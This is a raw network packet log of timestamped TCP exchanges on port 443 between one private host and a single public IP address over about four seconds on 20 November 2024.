Nov 20, 2024 10:20:18.598414898 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.598604918 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.598704100 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.598792076 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.598819017 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.598833084 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.598840952 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.602168083 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.602210045 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.602277994 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.602452040 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.602462053 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.608513117 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.608588934 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.608689070 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.608922005 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.608922005 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.608942032 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.608954906 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.612404108 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.612498999 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.612739086 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.612904072 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.612932920 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.619512081 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.619596958 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.619651079 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.619791031 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.619813919 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.619832039 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.619837999 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.622778893 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.622811079 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.623014927 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.623014927 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.623040915 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.633538961 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.633558989 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.633603096 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.633625031 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.633662939 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.633893967 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.633908987 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.633923054 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.633929014 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.636871099 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.636933088 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.637254953 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.637254953 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.637339115 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.832729101 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.833364964 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.833401918 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.833867073 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.833875895 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.936959982 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.937031984 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.937103987 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.937433958 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.937458992 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.937494993 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.937500000 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.940906048 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.940951109 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.941028118 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.941214085 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.941220999 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.249340057 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.252638102 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.274967909 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.289709091 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.303323030 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.303327084 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.318983078 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.334525108 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.449558973 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.449584961 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.450686932 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.450691938 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.456338882 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.456371069 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.456986904 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.456991911 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.457442999 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.457453966 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.458062887 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.458067894 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.458864927 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.458888054 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.469259024 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.469276905 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.549828053 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.549935102 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.550100088 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.550261021 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.550281048 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.550295115 CET	49872	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.550299883 CET	443	49872	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.554388046 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.554438114 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.554507971 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.554714918 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.554727077 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.557295084 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.557590008 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.557694912 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.557730913 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.557734966 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.557745934 CET	49874	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.557750940 CET	443	49874	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.558496952 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.558559895 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.558617115 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.558670998 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.558768988 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.558778048 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.558809042 CET	49871	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.558814049 CET	443	49871	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.560142994 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.560215950 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.560290098 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.560477018 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.560501099 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.560798883 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.560807943 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.560867071 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.561000109 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.561007977 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.572191000 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.572269917 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.572324038 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.572406054 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.573098898 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.573112965 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.573211908 CET	49873	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.573218107 CET	443	49873	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.578243971 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.578282118 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.578424931 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.578651905 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.578680038 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.610059977 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.610753059 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.610778093 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.611367941 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.611377954 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.715732098 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.715950966 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.716200113 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.716264963 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.716284990 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.716295004 CET	49875	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.716300011 CET	443	49875	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.719806910 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.719858885 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:19.719928026 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.720124006 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:19.720143080 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.195508003 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.196126938 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.196156979 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.196635008 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.196640015 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.231420994 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.231477022 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.232050896 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.232084036 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.232300043 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.232312918 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.232598066 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.232604980 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.232930899 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.232935905 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.237850904 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.238332987 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.238358974 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.238848925 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.238858938 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.299403906 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.299879074 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.299973011 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.300082922 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.300101042 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.300117016 CET	49876	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.300122023 CET	443	49876	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.303762913 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.303796053 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.303874016 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.304136038 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.304147005 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.335712910 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.335788965 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.335865021 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.336273909 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.336293936 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.336308002 CET	49878	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.336314917 CET	443	49878	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.336446047 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.336638927 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.336854935 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.337006092 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.337019920 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.337033987 CET	49877	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.337038040 CET	443	49877	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.339967966 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340017080 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.340049028 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340084076 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.340095997 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340132952 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340239048 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340257883 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.340322971 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.340334892 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.341063023 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.341464996 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.341526031 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.341583014 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.341598034 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.341608047 CET	49879	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.341613054 CET	443	49879	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.344261885 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.344369888 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.344448090 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.344600916 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.344633102 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.364500999 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.365235090 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.365264893 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.365902901 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.365911007 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.470895052 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.471116066 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.471183062 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.471343994 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.471365929 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.471380949 CET	49880	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.471386909 CET	443	49880	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.474672079 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.474715948 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.474807024 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.475687981 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.475701094 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.965935946 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.966768026 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.966790915 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.967504978 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.967510939 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.988907099 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.989645958 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.989681005 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:20.990072966 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:20.990081072 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.015129089 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.016304016 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.016304016 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.016336918 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.016360044 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.025073051 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.025983095 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.025983095 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.026005030 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.026021004 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.072825909 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.073462009 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.073530912 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.073574066 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.073676109 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.073676109 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.073787928 CET	49881	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.073807955 CET	443	49881	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.077085972 CET	49886	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.077132940 CET	443	49886	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.077370882 CET	49886	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.077493906 CET	49886	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.077503920 CET	443	49886	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.094963074 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.095097065 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.095413923 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.095413923 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.095468044 CET	49884	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.095488071 CET	443	49884	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.098726988 CET	49887	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.098772049 CET	443	49887	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.098944902 CET	49887	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.099066973 CET	49887	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.099076986 CET	443	49887	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.121351004 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.121653080 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.121862888 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.121862888 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.122009993 CET	49882	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.122028112 CET	443	49882	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.123693943 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.124289989 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.124315977 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.125257969 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.125273943 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.125272036 CET	49888	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.125344038 CET	443	49888	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.125524044 CET	49888	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.125773907 CET	49888	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.125797033 CET	443	49888	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.132714987 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.132983923 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.133215904 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.133541107 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.133567095 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.133603096 CET	49883	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.133609056 CET	443	49883	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.138570070 CET	49889	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.138602972 CET	443	49889	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.138987064 CET	49889	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.140270948 CET	49889	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.140281916 CET	443	49889	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.222259998 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.222291946 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.222520113 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.222557068 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.222729921 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.222929001 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.222929001 CET	49885	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.222951889 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.222964048 CET	443	49885	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.227632999 CET	49890	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.227722883 CET	443	49890	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.227967978 CET	49890	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.231154919 CET	49890	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.231194019 CET	443	49890	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.716176033 CET	443	49886	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.746970892 CET	443	49887	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.770039082 CET	49886	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.789855003 CET	49887	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.795239925 CET	443	49889	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.797099113 CET	443	49888	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.841686964 CET	49888	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.841873884 CET	49889	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:21.888858080 CET	443	49890	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:21.943537951 CET	49890	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:22.123095036 CET	49890	443	192.168.2.9	13.107.246.45
